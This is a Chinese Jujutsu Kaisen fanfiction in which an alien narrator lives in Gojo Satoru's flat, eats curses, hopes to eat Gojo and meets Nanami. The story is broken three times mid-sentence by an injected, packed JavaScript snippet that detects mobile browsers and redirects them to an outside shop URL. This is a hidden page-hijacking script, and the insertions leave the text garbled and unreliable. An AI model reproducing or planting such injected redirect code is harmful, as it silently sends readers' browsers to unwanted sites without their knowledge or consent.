《[咒回]我想吃掉五条悟》 1. 想吃的第一天 地球,X国卫星监测基地。 现在是晚上十一点,监测室里只剩下了负责夜间监控和报告的工作人员。 突然,显示屏上出现了一个正在向地球方向飞速接近的异常光点,但很快,这个光点就消失在电子屏幕上。 坐在控制面板前的中村法子揉了揉眼睛,翻开后台记录,确认没有任何异常后,就没再关注这边的状况,只把这当作自己工作太久产生的幻觉,她拿起手边的咖啡牛饮一口,耸耸肩膀稍微活动一下关节,又开始整理白天监测到的数据。 她不知道,自己的这一失职将拯救数以万计的人类。 · 这是我降落地球的第一天。 感谢概率论,百分之七十的水体表面为我准备了足够隐蔽的出生点,这片区域没有成为灾难电影的拍摄片场,我只低调的溅起陨石水准的水花。 第一天,我的食物是海洋居民,说来惭愧,虽然屠戮了几个大小族群,但它们不仅毫无营养,还难吃的很,我很后悔把它们当成我在地球的第一餐。 吐出最后半条鱼,我尝试用力摆动着刚刚长出的鱼尾,发现它并没有我想象的便利后,又放弃了,干脆用我熟悉的方式冲向陆地。 冲击之下,岸边出现一道的海湾,后来成了吸引游客的打卡点,名字叫海豚湾。 也巧,被我吐掉的那半条鱼学名就叫海豚。 我在海里的时候记住了人类的长相,他们长着四肢,顶部有一处突起,那上面有很多触须,他们管这个叫头发。 尽管我觉得人类是如此奇怪的生物,但既然他们住在这里,我又想融入其中,我最好还是好好利用自己的能力,也就是模仿。 准确来说是模拟,我能随意调动自己身上的任何一处构成,并把它们变化成我想要的物质和形态,我不知道自己哪来的这种能力,人类有种吃什么补什么的说法,好吧,那我可能就是单纯吃太杂了。 正式登陆时,我已经给自己变出一副人类的躯体,我给自己选择的性别是雌性,因为雄性人类在两腿之间有一块碍事的肉,腿到腰的部分又要被一层皮裹住,那块肉夹在腿和皮中间,我还得找个位置放它—— 好麻烦,于是我选择成为女人。 我以人类的身份度过的第二天还没完全结束,深夜在街头乱晃的我被当成危险分子,我还无法完全理解人类的语言,许是说错话吓到了人,那些人还想把我关起来。 我当时就跑了。 其实我要是选在一个穷人居住的街区就不会碰上这样的麻烦,有钱人害怕外来危险分子,穷人才没这么多讲究。 我没跑多远,因为不想再被缠上,我决定找个地方躲起来,像那些躲在亮着光的封闭洞穴里的人类一样。 我不是不能杀了那些妨碍我的人,但如果你不打算彻底消灭某个族群,又不离开他们的部落,那你最好不要动他们之中的任何一个。 因为只要死了一个同伴,无论是出于恐慌还是愤怒,剩下的那些就会源源不断的找上门。 我当然可以来者不拒的把它们全都当成食物,但我也不是什么都吃的。 可以说我为进食而努力的生命历程中,其实只有短短的百分之二十是在享受食物,剩下的百分之八十全部用于寻找可以作为享受的食物。 我喜欢食物,美食万岁。 我循着‘山’的外壁,找到一个缺口,又把自己缩成足以通过的大小,转几个弯,就来到出口。 终于,我也住进洞穴了,哦不,应该说是我家。 我打量着我的新家,这里有很多我不能理解的东西,但我喜欢这里残余的味道。 像是某种极其诱人的食物残留下来的味道... ... ... 是谁抢先一步。 我有些懊恼,但想到街上络绎不绝的人类,和几处香气四溢的觅食点,我又找回耐心。 这里食物丰富,我要耐心一点,不能再失手毁掉一切。 想到这里,我收敛呼吸,并将全身细胞改造成完全透明的状态,凭人类的感知能力,是没有办法发现我的,毕竟刚才我就是这么从那群人类的注视下逃跑的。 他们不停的发出“欸欸欸”的叫声,还有人用手揉眼睛,就是没人发现我正在默默离开。 我搜遍了我家,只看到墙上挂着一些图片,里面有一个频繁出现的男人,我想到一种可能,对我不好的可能。 所以我决定不想,也装作没看见,继续在家里四处巡视。 在我小小的家里,有一个小小的石块,它软极了,蹲在上面的时候会让我有种还在母星的怀念。 母星是一个脆弱的壳,当我看清世界的第一刻起,她就陨落了。 为了接住她破碎的结构,我长出了触须,触须又分殖出触须,交织在一起,形成一张密不透风的网—— 可我还是没能留住我的母星,她的残骸在我用触须构成的怀抱中化作光尘,一点一点扬起,最后化为乌有,与宇宙本身融为一体,她无处不在,但原来的她却成了我永远无法触及的存在。 我再也无法回到母星的怀里,想她的时候我会注释星空,现在我找到了一个极为相似的替代品。 我用人类的形态蹲在上面,然后一点一点下陷,直到被它完全包裹。 好幸福,这个时候如果能再吃到美味的食物就更幸福了. 晚上出门觅食还是引人注意,尽管我听到了不远处还有大批人类正在活动,但避免麻烦,我还是谨慎一点。 我在第二母星怀里待到了天亮,等周围的声响也开始变得密集,我走出了家。 不巧,旁边也有人类出来,他惊讶的看了我一眼,叽里咕噜说了句什么,我没听懂。 他的脸上出现几道褶,安静离开了,周身散发出消沉的气息。 我默默盯着他的后脑勺,想不出个所以然,又放弃了。 叮——的一声,那个把我和他一起运下山的铁盒子自己打开了,他一副见怪不怪的样子,看来这是这个东西运作的常态。 走出铁盒的我回头看了一眼,朝它点头致意。 我又满意了一点。 正如我所预料的,这里的食物很多,人也好,人吃的食物也好,都在我的食谱上。 我找到一处人类集中进食的地方坐下,有人递给我一张纸,这个有趣的小东西叫‘菜单’。 我装模作样的点点头,放下菜单离开了。 因为我没有钱。 我当然可以用身体变换,但我浅薄的人类知识告诉我,如果我一直用这种简单粗暴的方式解决所有问题,迟早会惹出麻烦,要想长久生活在人类之间,最好用他们的方式生存。 好的,我知道自己要找什么了。 我要找一份工作。 我的第一份工作,是一家居酒屋的服务员,只需要把一些食物从一个地方送到另一个地方就好。 但因为我在用触须偷吃的时候被发现,准确来说是被一位常客发现分量不对,经理在跟厨师核对后,准确揪出真凶,也就是在下,于是我的第一笔薪酬就只有偷吃到的几块炸鸡。 我痛定思痛,决定再也不去食物密集的地方工作,于是我钻进了写字楼、是的,我现在知道它叫楼,而不是山了。 经历几次失败,我终于积累够经验,综合其他人提交的材料,我也给自己编出了一份像模像样的东西,但最终录用我的人类根本没看这些,只笑意盈盈的让我跟他走。 我被带到一层紧凑的空间,密密麻麻的格子里住着一个个散发着消极气息的人类,我甚至看到一些人类看不到、但也经常在地球上看到的一些居民。 奇怪的是,这些东西对我的反应很剧烈,明明我已经隐匿自己的气息了,嗯. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159517|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...难道是因为我这几天吃了太多它们的同类? 这也不怪我吧,我饿着肚子,又吃不了人,它们虽然长得也怪,但吃起来倒是异常可口,我一个没忍住,把它们大大小小的同胞全笑纳了。 想到这里,我伸出触须,一个猛刺,就让那只躲在饮水机后面的小东西失去行动能力,而后我的触须像绳索一样一圈一圈把它包裹起来,再散开的时候,它已经消失了。 “还有就是...嗯,这里,这里就是你的位置了。” 把我招进来的男人带我来到一个格子中间,旁边的人头也不抬,直到男人拍了拍她的肩膀。 “这位是新来的佐藤艾利恩小姐,你给她介绍一下她接下来的工作吧。” 女人笑着答应了,笑容诡异。 我最近练习时经常露出那种笑容,最后发现还是面无表情适合我。 我开始工作了。 内容很简单,在电脑上敲敲打打,把一堆数字填进一个表格,又把表格整理成各种不同的表格。 再填。 再整理。 我的一天结束了。 我发现自己居然一天都没有进食。 我恍惚了。 我缩进我的第二母星,头一次不想再往外踏出一步。 次日,当太阳再次升起时,我没有再去那个满是格子的地方。 距离我来到地球已经过去半个月,这半个月来我没吃一个人,因为人类身上的香气甚至没有我吃掉的那些他们看不见的怪物来的浓郁。 而且我发现我对人类的食物也没有什么兴趣,我根本就不需要钱。 我只需要我想要的食物。 我改变策略,一心一意的寻找可口的怪物。 但不知道为什么,在找寻那些闻起来特别诱人的食物时,我总是慢人一步,也许地球上还有其他和我一样喜欢吃怪物的东西? 后来我干脆在每个区域留下部分触须,等检测到怪物的活动迹象,就当场出击。 最近算是难得的满足了,不需要忍饥饿,也不需要四处流浪——我才知道原来自己之前的状态本质是在流浪。 时间过去一个月,成功习得人类社会常识的我跟邻居也建立起联系。 据他所言,上一个住在我家的是一个高个子的白发男人,他猜对方应该是模特,常年在外拍摄,经常不回家,最后果然是搬走了,应该是搬到方便工作的地方去了吧。他这样猜测着。 我想到我家的那几张照片,和那上面占幅大到让人难以忽视的白色身影,我决定从身体里删掉刚才听到的信息。 经过一个月的适应,我终于摸清人类的活动规律,其实晚上也是可以出门的,只要不在人迹罕至、又有监控的地方做出太诡异的举动,一般也是不会惊动警察的。 更何况我的食物还是根本不会被人类看到、更不会被拍到的存在。 我只管堂堂正正的走在大街上,身后的触须自会替我大快朵颐。 只是通宵行走未免太过诡异,等天黑的差不多,我又回到家。 这次还没到家门口,我就知道家里有人。 我一如往常的用触须开门,装作看不见堂而皇之的灯光,走向我的第二母星。 属于我的位置上,坐着一个男人。 白发,比很多人类都高,眼睛被绷带缠住,或许是个瞎子。 见我没有其他动作,男人嘴上擎着的那点笑意扩大了,连残余的疲惫都消失了。 “晚上好,寄居蟹小姐。” “在我家住的还满意吗?” 我模仿着他的表情,也笑了。 “呵...” 甚至发出了声音。 啊,好香,真的好香。 吃掉,想吃掉,无论如何都想吃掉他。 我想吃掉五条悟——这个似乎是叫五条悟的人类。 2. 想吃的第二天 五条悟已经一个月没回家了,任务结束不是在车上打盹就是在高专的宿舍凑合几个小时。 他甚至开始觉得有些浪费,功能上的浪费。 比如某天灵光一闪,突然领悟全新的术式,发现根本没有用的上的场合,哪怕根本没有花费多少精力,无用的存在本身就是一种浪费。 也许是这个莫名其妙的想法占据他太多思绪,他决定回家一趟。 明明新家就在东京,但以外勤为主的工作性质却让他陷入有家没空回的处境。 除非哪天咒灵们突然集体消失,留下一张‘这么多年真是辛苦你们了,从今往后就不给大家添麻烦了’的字条—— 一想到这里,五条悟甚至能哼出一段会被稚名林檎作为灵感写出一整张新专辑的旋律,不知道歌舞伎町女王的吉他和皱巴巴的老爷爷的吉他谁比较厉害。 ... 正常人都会选宇多田光吧!如果一定要跟稚名林檎放在一起的话,乐严寺那种老头子算什么啦。 嗯嗯,一定是这样没错,五条悟甚至为自己的结论找到有力证据: 咒灵一定听了宇多田光发布的新专辑,感动到纷纷原地成佛,所以最近的咒灵数量才罕见的开始减少。 怀揣着对这位勤劳女歌手的感激之情,五条悟回到位于东京的新家。 刚走进电梯,就发现有个眼熟的男人正在通过电梯门的反光偷看自己。 不是咒术师,虽然眼神可疑,但无疑就是个普通人。 五条悟从一个月前的记忆录像带里找出男人的身影。 “啊,好久没回来了。” 他自来熟的跟对方搭起了话,试图通过主动透露的信息打消对方的疑虑:嚯啦嚯啦,是邻居啦,虽然绷带造型有点奇怪,但不是什么危险人物哦~ 可惜的是,对方并没有接收到他的信号。 五条悟放下打招呼的手,重新插回口袋,目视前方,嘴角的笑意没有放松。 怎么更紧张了。 五条悟愉快的疑惑着,咒灵大幅减少带来的好心情未曾受到影响。 小野悠人其实不是害怕,而是替五条悟担心。 他早就觉得那个女人很奇怪了,第一天的时候还以为她是哑巴,后来见她也会正常说话,以为是自己想多了,结果她又开始半夜外出,出去一会还会自觉回来,回来以后还是面无表情,但总给人一种酒足饭饱的酣足感。 他想到食人魔汉尼拔系列剧,衣冠楚楚的精英教授,也是表面上维持着正常人的样子,实际上是个茹毛饮血的恶魔! 可看着女人人畜无害的模样,他又开始自我反思,自己是不是最近压力太大,臆想症状加深了。 上高中的时候他总能看见一些别人看不见的东西,但只有一些模模糊糊的影子,等高中毕业,事业稳步上升以后就再也没看过了。 嗯,没错,一定是那时候留下的后遗症。 他自我安慰到,毕竟在这之前,他不是对那位男邻居也有过怀疑吗?觉得那是个会把谁的脑袋拔下来当足球踩着玩的变态杀人狂——毕竟他笑起来的样子真的很适合这种画面啊。 好在经过这段时间的观察,他也确认女人只是单纯喜欢半夜出门散步,悬着的心逐渐放下... 放早了。 看到这位本该搬走的男邻居重新走进电梯时,小野悠人混乱了。 什么叫‘好久没回’——那个已经不是你家了吧?你不是已经搬走了吗?!他都跟新搬进来的人打过招呼...等等。 小野悠人终于意识到自己忽略了什么。 如果眼前的男人真的搬走了,而那个女人也是‘正常’搬进来的话...搬家公司的人呢? 哪怕是正好在他上班的时候有人来搬过家私,但在这之外呢?这一个月以来,有快递员之类的服务人员去过隔壁吗?完全没有吧。 他当然知道自己这样关注邻居的动态很奇怪,但他的邻居难道就正常吗! “总感觉...你好像想了很多事情啊,不会跟我有关吧?” “别看我这样,其实不是坏人哦。” 五条悟走出电梯,一边向前走,一边侧过来指着自己的绷带眼罩说。 他步幅太大,还没等男人跟上,自己就走到家门口了。 他在门锁上发现了一些有意思的东西。 咒力残秽? 不,形态或许相似,但气息...还是该说感觉,完全不一样。 “那个...” “嗯?” 小野悠人被他过于迅速的回应吓了一跳。 可五条悟还在盯着他看...话说他到底是怎么回事,既然能看见为什么要蒙着绷带...不对,应该问蒙着绷带是怎么看见的吧!说到底为什么要把绷带蒙在眼睛上啊。 “你们见过了吗?” 五条悟伸出一根手指,指了指屋内。 小野悠人愣了一会,渐渐的,持续多日的阴霾终于烟消云散。 原来如此,原来是这么回事啊! 他就说肯定是他想多了! 原来他们根本就互相认识啊,也是,谁会把房子让给不认识的人住呢。所以这两个人是情侣?算了,还是先不要乱猜了。 “诶多...是,出门的时候碰到过几次。” 五条悟饶有兴致的勾起嘴角。 能看见吗,那看来就不是咒灵,诅咒师?还是老橘子那边派来的? 如果是‘碰到过几次’,应该不是简单的来过几次的意思吧,而且看他这位邻居谨慎过头的个性,对方应该没有做过太诡异的事情...起码在非咒术界人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159518|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士看来。 两人道别以后就各自进屋,五条悟发现门锁上的痕迹,家里同样存在,还不止一处。 最为明显的当属他那把买来就只坐过一次的单人沙发,当时他还嫌太小太软,想找机会处理掉来着。 倒是便宜‘这家伙’了。 也许是因为家中没有被破坏的痕迹,也许是因为从邻居的反应中推测出一部分人物侧写,五条悟对这个私闯民宅、却又没做什么坏事的家伙的印象倒是不差。 话说刚才是不是应该多问两句,跟他那位邻居。 五条悟原本是坐在单人椅上的,这把是后来他从家具杂志上翻到介绍,直接下单的,感觉还不错。 可他看着看着那张单人沙发,一想到最喜欢它的人很快就要回来,五条悟又有了好主意。 当我回到家的时候,他就这样坐在我的第二母星上,长而无用的两条下肢摆在地上,他没有被我的第二母星接纳。 但我还是挺想、不,应该说是很想‘接纳’他。 “看来是很满意了。”五条悟作出总结。 至于我为什么知道他的名字,还多亏了其中一张照片,有天照片不小心掉到了地上,我随手捡起的时候看到背面对应着人像的签名。 他生气了吗?也许是,但我已经不在乎了,我现在只有一个想法,就是该怎么让他自愿被我吃掉。 我察觉到他身上有什么在流动,那种不可名状的流动体很可能就是他美味的来源,随着他的呼吸,流动的频率也有细微变化。 跟那些被我吃掉的怪物身上的东西有点像,但不完全一样,他太特别了。 或许是我将欲望表露的太过明显,他也进入某种戒备状态,没那么好下手了。 我能察觉到食物之间的强弱对比,与我在地球上吃掉的所有怪物相比,眼前的这个人类,无疑是最强的。 我将触须的形态调整至透明,又有意让触须的移动与空气流动同频,终于,在他毫无反应的放任中,一根手指粗的触须来到他眼前。 他依旧不为所动。 终于,泛着淡蓝色的触须毫无阻碍的贴在男人的鼻尖上。 他的笑容终于僵住。 当触须自鼻尖滑落,又沿着男人高挺光洁的鼻背来到脸颊,做了个类似于舔舐的动作,我是在尝试一种名为冰淇淋的食物的时候学会的这个动作。 他应该更加害怕,却因为我的动作笑出了声。 “你...该不会是痴女吧?” 非常奇妙。 我居然尝到了笑声中的愉悦,这让他更美味了,这简直... 太棒了。 “你很高兴?” 我礼貌的问,声音放的很轻,触须的动作却未曾停止。 我想维持他的愉悦,最好是永远。 3. 想吃的第三天 他没有回答我的问题,反倒是问起我来了: “虽然不太礼貌,但你看上去也不喜欢绕弯子,那我就直接问了——你是什么?咒灵?咒术师?” “抱歉,我听不懂你在说什么,能解释一下吗?咒灵?咒术师?” “啊啊,是我的问题,还是换个问法吧,比如...这是什么?” 他指了指自己的脸颊。 “你的...脸?”我歪了歪头,开始怀疑这个人类脑子是不是有点问题。 五条悟笑了,听上去他倒还有些意外,他笑着说: “看你有问必答的样子,没想到还挺擅长说谎,真是个表里不一的孩子啊。” 话音未落,触须的动作就被迫停止—— 他直接抓了上去,但就在被他抓住的瞬间,透明的触须泛起幽蓝色的微光,又散作无数光点,同时消散。 “藏起来也没用,已经看见了哦。” 他用手指点着触须消失的位置,那里只剩下空气。 “可以请你当作没看见吗?”这是我最后的办法。 “不行。”他一本正经的摇头,不肯配合。 “是触须,我的触须。” 没办法了。 人类讨厌被人欺骗,我已经骗过他一次了,还被他当场戳穿。 “哦~哦,原来是触须啊,我还没见过长触须的‘人类’呢。” 他故意把最后两个字读的很重,我知道,这是人类另一种提问的方式,更委婉,只在谈话双方都处于放松状态的情况下使用。 “如你所见,我不是人类。” “唔。” 五条悟调整了姿势,双腿不再交叠在一起,而是向两侧打开,手肘则撑在一侧的膝盖上,掌心拖着下巴,他这样专注的盯了我好一会,才不紧不慢的开口: “如我所见,你完全就是人类嘛,除了‘你的触须’。” 他模仿着我说话的语调...什么意思。 为什么要学我。 他听不懂吗。 “所以...怎么了?” “所以...”他又开始学我说话了,“这位不是人类,却长得跟人类一模一样的小姐,你到底是什么东西呢?为什么要住在我家?还有刚才那个——那个又是什么情况呢?” 一边说,他一边站起,一步一步朝我走来,他似乎完全忘记我的触须还可以随时出现,不,重点不在于我身体的某个部位。 只要我需要,任何一部分的我都可以独立完成捕食的动作,对于被捕食者而言,越接近我,越靠近危险本身。 他在距我一步远的地方停下,房间顶光配合他的身高,在我身上投下一道阴影。 “这个就说来话长了。” 我一字一句,说的很慢。 “哈哈哈...有意思。”他双手撑在腰与髋的连接处,适时退出一步,又变成抱臂的姿势。 魔术师吗,舞蹈家?手部动作这么多。 “要坐下来聊聊吗?”他退到刚才坐着的地方,但没有选择坐下,而是绕到后方,一手扶着靠背,一手放在靠背前方,做出一个邀请的手势:“这边这边,这是你最喜欢的位置对不对?” 他甚至拍了拍靠背的软垫,怎么看都不怀好意。 于是我走了过去,终于回到我最喜欢的角落。 我最喜欢的姿势是蹲坐在靠背和坐垫的夹角处,双腿屈起,两手就搭在膝头。 “用你们的话来说,我算是外星人。” · 夏天又变热了,奇怪的是往年应该趁机疯长的咒灵,这会却没闹出什么动静。 “有发现了吗?” 夏油杰坐在窗边,夕阳照的袈裟上的金色条纹泛出金属光泽,听到身后的开门声,他头也不回的问。 “具体的原因还没办法确定,但是有一块区域,已经有一个月没有发生咒灵事件了。” “‘没有发生’?” “嗯,连残秽都没有发现,除非有人在祓除后还把现场打扫的干干净净。” “哈。”夏油杰不知道是想到了什么,居然被笑出了声,“有那种必要吗?” 这不是一个需要回答的问题。 “然后呢?有什么特别之处?” 夏油杰拢着宽大的袖口,网状的黄金软甲在他怀里流动,他漫不经心的问道。 “有人在附近看到了五条悟。” “都是他一个人的功劳?” “应该不是,他是最近一周才频繁出现在附近的,准确来说是住在附近的某个地方,还有就是...” 说话的人突然有些犹豫。 “说来听听好了,就当是闲聊。”夏油杰随意摆了摆手。 “如果没有猜错的话,他大概是在跟人同居,那个人看不出什么底细,因为没有咒灵在附近,连是不是咒术师也无法确定。” “女人?”夏油杰心情复杂,他知道按照常理就该这样猜测,但这样寻常的一件事情真正说出来连他自己都觉得诡异。 “女人。”说话的人肯定道。 ... 沉默六秒后,夏油杰看着和谐到有些莫名其妙的夕阳,对于接下来的这句话实在是不吐不快: “我们...本意不是想聊八卦,对吧。” 对面的人只犹豫了一秒,但又的的确确的犹豫了一秒,哪怕只是一秒。 “嗯。” “这算什么...”夏油杰小声嘀咕了一句,不带任何目的,只是不认真的抱怨。 · “这算什么,悟。” 我和五条悟在逛超市,本周第三次。 互相叫名字的方案是他提出来的,因为我没有可以用来称呼的真实姓氏,假名‘艾利恩’也是用的‘alien’——外星人的音译,于是自认为向来与人为善的五条悟决定让我也叫他的名字。 在听我说完自己的真实身份后,五条悟问了我三个问题。 第一个问题是我为什么要来地球。 我说是为了觅食。 紧接着就是第二个问题,他问我都吃什么。 回答的时候,我盯着他看了一会,在犹豫该怎么协商才能让他自愿被我吃掉。 他很快联想到我此前对他做过的事情,问我自己有没有在我的食谱上。 坦诚如我,当即点头。 紧接着我又主动解释自己这些天都吃了些什么,我不想让他产生只有自己是我的食物的观念,虽然还不确定,但我单方面认为这会给他造成不小的压力,不利于我们最后的谈判。 谈到这个话题的时候他又回到被触须触碰到的状态了,我猜他是担心我有吃掉他一些同类,这个我也得解释清楚。 “嗯...人类好像看不见那些东西,但我可以大概跟你描述一下。” “外形不同于任何一种动物,一定要说的话跟海底那些奇怪的无脊椎生物更接近,但又无法用人类生物学解释它们的构造。” “明明长相跟人类毫无关联,但又能说一些人类的语言,也许是因为智力发育不足,只会重复特定的词句。” “如果能被人类看见的话,大概...会被叫作‘怪物’吧。” 听完我的话,五条悟愣了一会,然后笑了。 紧接着他问了我第三个问题。 “好吃吗?咒灵。” 我说相当可口。 然后他就让我在他家继续住下去了,我跟他强调,这里已经是我家了。 一开始他还摆出能证明自己主人身份的证据,但因为我选择性无视的态度,他最终放弃跟我争论这个话题,只说了一句—— “好吧,总算不浪费...” “那你要好好爱护这里哦,像爱护自己家一样。” 他说这句话的时候,做了个我不理解的动作,他拍了拍我的头,像大人对待小孩子。 首先这绝对是错误的做法,因为单从出生年龄来看,无论怎么算,他都不可能比我大。 其次,我总觉得他说的‘这里’,不止是指这间房子,而是一个更广阔,更复杂的概念。 当天晚上我依旧外出觅食,五条悟问我能不能带他一起。 “可以,但我最多只能分十分之一的食物给你。” “我可没有那种糟糕的品味...啊,不是说你啦。” ...明明就有在扫射我啊,但我决定不跟他计较。 “话说为什么要分食物给我呢,艾莉恩一直这么大方吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159519|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “因为我希望你开心。” “为什么?你喜欢我吗?” 喜欢吗...这么理解倒也没错。 “嗯。” 五条悟不说话了,直到他看见我猎食咒灵——他告诉我我所吃掉的那些就是他说过的咒灵,而为了减少他对自己结局的恐惧,我特意选择了温和的进食方式。 我用触须织成一张柔软的网,在咒灵们还未曾察觉的时候悄悄逼近,直到生命的最后,那只被织网包裹的咒灵都没有感受到一丝死亡与恐惧带来的痛苦。 无声无息,干干净净。 仿佛回到自身诞生之初。 “食物也成为了你的一部分?可以这样理解吗。” 五条悟单手摩梭着下巴,笑容丝毫不减,我觉得他看我的眼神好像在哪见过。 好像...在那些听说孩子考了满分的家长脸上见过。 我必须纠正他这种错误观念了。 “我不是你的孩子。” “哈哈哈——当然。” 他甚至没有为自己的错误道歉,明明这里的人很喜欢道歉,哪怕不觉得自己有错。 五条悟,像他这样的人,大概就是人类所说的‘异类’吧。 “艾利恩每天都需要‘吃饭’吗?” “好笨的问题。” “好没礼貌。” “嗯,因为你看上去不需要我对你特别礼貌,也不会因为这个生气。” “我生气了哦,超——生气。” “不,你没有。” “话说你是不是舔了我一下,好快啊。” “...” “突然变得没礼貌就算了,连诚实的品格都丢掉了,被咒灵污染了吗!” “没有这种情况。” “干脆来当咒术师吧,这样每天都有吃不完的咒灵哦,还不用自己去找,会有人用小铁盒子送你——” “我姑且知道汽车这种东西,而且不要,咒灵对我来说不是最美味的食物,不吃也不会饿死。” “那提问——艾利恩最喜欢的食物是?” 他用手比了个麦克风,煞有介事的举在我面前。 我收回的触须再次伸出,像握手似的搭在他主动伸出的手上—— “五条悟。” 他没有把手收回去。 “你早就想这么说了,对吧。” “嗯。”我伸出更多触须,直到将他的整个手包住。 “真正可口的其实是咒力。”他继续道。 “嗯。” “你还没有见过其他咒术师吧。” “嗯,但我不觉得咒术师和咒灵的区别,会比咒灵与咒灵之间的区别更大,所以放心好了,我不是因为你是咒术师才想吃掉你的。” “我该觉得荣幸吗?” “正常来说你应该害怕。” “接下来该谈条件了吧。” “嗯,我会努力满足你的需求,只要你愿意开心的被我吃掉。” 我听说过阿拉丁神灯的故事,有人说如果自己是阿拉丁,就该向精灵许愿要用不完的愿望。 五条悟倒是没这么说,但他用了类似的说法。 “好,那我的第一个条件是——” 去逛超市。 于是第二天一早,我们去了附近的超市。 我对人类的食物和商品不感兴趣,但五条悟还是执着的买了两个购物车的食物,把家里空荡荡的冰箱填满。 然后第二天、第三天。 他总是很早出门,很晚回来,回家后把窝在沙发上的我叫上,再一起去超市。 现在已经是我们第三次逛超市了。 我实在搞不懂,他到底想干什么。 他的朋友也搞不懂,虽然‘朋友’本人否定了‘朋友’的说法,他让我叫他七海。 “关于社会常识的问题都可以问他哦,如你所见,七海海是毫无疑问的常识人!” 五条悟顺着七海的话,再次隆重介绍了他。 他想让我更加融入人类社会,目的... “这就是你的拖延战术吗?” 七海建人继续沉默。 他就不该觉得整天跟五条悟混在一起的会是什么正常人。 4. 想吃的第四天 “生气了吗?”五条悟笑着反问道。 我机械的摇了摇头,转而看向在场的另一人: “初次见面,七海先生,我是艾利恩。因为悟说七海先生是可以信任的人类,所以我就直说了。” “我不是地球人,来到这个星球已经是一个月之前的事情了,请相信,我对地球没有恶意,我只想填饱肚子。” 七海建人只短暂犹豫了一秒,就放下紧抱的双手,板正的贴在裤缝两侧,微微一鞠躬—— “初次见面,艾利恩小姐。关于你的事情五条先生已经跟我说过了,然后...你们两个没有在开玩笑,对吧?” 在说完‘初次见面’的时候,他就重新站的笔直,一丝不苟的站姿,表情严肃,却没有被人捉弄的恼怒,是习惯什么了吗? “抱歉,因为悟接受的太快了,我忘记正常人是没那么容易接受外星人这种概念的,作为没有刻意捉弄您的证明,请您看看这个。” 按照五条悟的建议,触须还是保持着隐形状态,但为了让像七海先生这样的咒术师能看见,我在触须表面附上了一层咒力。 五条悟问过我一个问题,关于被我吃掉的食物是否会变成我的一部分...这样的说法并不准确,我的拟态不是将吃进肚子的东西原模原样的释放,而是解码食物中包含的物质信息,再用身体复刻出来。 用咒术界的说法,我现在使用的实际上是我本人的咒力。 对于我给出的结论,五条悟表示无法接受,因为咒力本质是人的负面情绪外泄凝结的力量,但他无法从我模拟出的咒力中感受到这一特性。 “怎么样怎么样?”五条悟兴奋的问着七海建人,后者单手罩住下半张脸,推了推依靠深邃眼窝保持稳定眼镜。 “改造□□的术式吗。”七海建人猜测到。 换来的是我和五条悟整齐的左右摇头。 “我不是咒术师,这些触须是我身体的一部分,上面的咒力是另外附加上去的,这是悟的建议。” “所以还是...外星人。” “一直都是哦。” “...这个语气词也是五条先生的建议吗。” “是的哦,因为我的话听上去太冷漠了。” “在我看来艾利恩小姐的说话方式没有什么问题。” “啊...”我后知后觉的转头看了某人一眼,他一边推着购物车,一边把家里还没喝完的同款酸奶往里面放。 “所以我是被捉弄了。” “是的。”七海建人果断肯定。 身为始作俑者,五条悟对我们的对话没有给出一丝反应,他完全沉浸在用货架上的商品装满购物车的游戏里了。 “这个家里有,还没有没吃完。”我试图提醒他。 “艾利恩要加油哦。” “可是我不喜欢吃这个。” “欸,骗人的吧,明明有看到你在沙发上吃。” “只是想试试...” “那就多试试吧——布朗尼口味的怎么样?你有试过吗?” “还没有。” 然后他又把那盒只有口味不同的曲奇饼干放进推车。 “如果你打的是让我从这里面尝到更美味的食物从而改变主意的打算——劝你还是放弃。” “好伤心啊,只是代表地球人好好招待一下外星来的客人而已。” “这也没有必要。”说完,我才发现四周过于安静,回头一看,七海建人果然不见了。 五条悟还推着车往前走,超市人太多,我干脆伸手拽住了他的衣角—— “七海先生不见了。” 车轮滚动的咕噜咕噜声停止了,五条悟停下脚步,回头看了看被我抓在手中的衣角。 “想去找他吗?” “不是你的朋友吗?”我真是搞不懂。 搞不懂人类,更搞不懂五条悟。 “和朋友一起出门,如果有人掉队的话,一般都会停下来等他跟上,如果在附近看不到人,就该去把人找回来吧——你们人类不都是这么做的吗?” 五条悟把绷带换成了眼镜,虽然还是不透明的那种。 “艾利恩酱,你见过坏人吗?” “你吗。” “啊,你也学会开玩笑了...总之,你说的做法不是所有人都会照做的啦,人类里面也有很多坏家伙哦。” “但你跟七海先生不是吧。”我默默接过推车,朝着七海建人所在的方向走去,“从目前的表现来看,你和七海先生的道德水平已经超过一般标准了——这样就算好人了吧。” “嗯...咒术师都是这样的吗?”我猜测着。 “大误解,完——全——是大!误!解!”五条悟用空出来的双手在胸前比了大大的叉。 谈话间,我们已经走到烘焙区,找到了停在面包柜台前的七海先生。 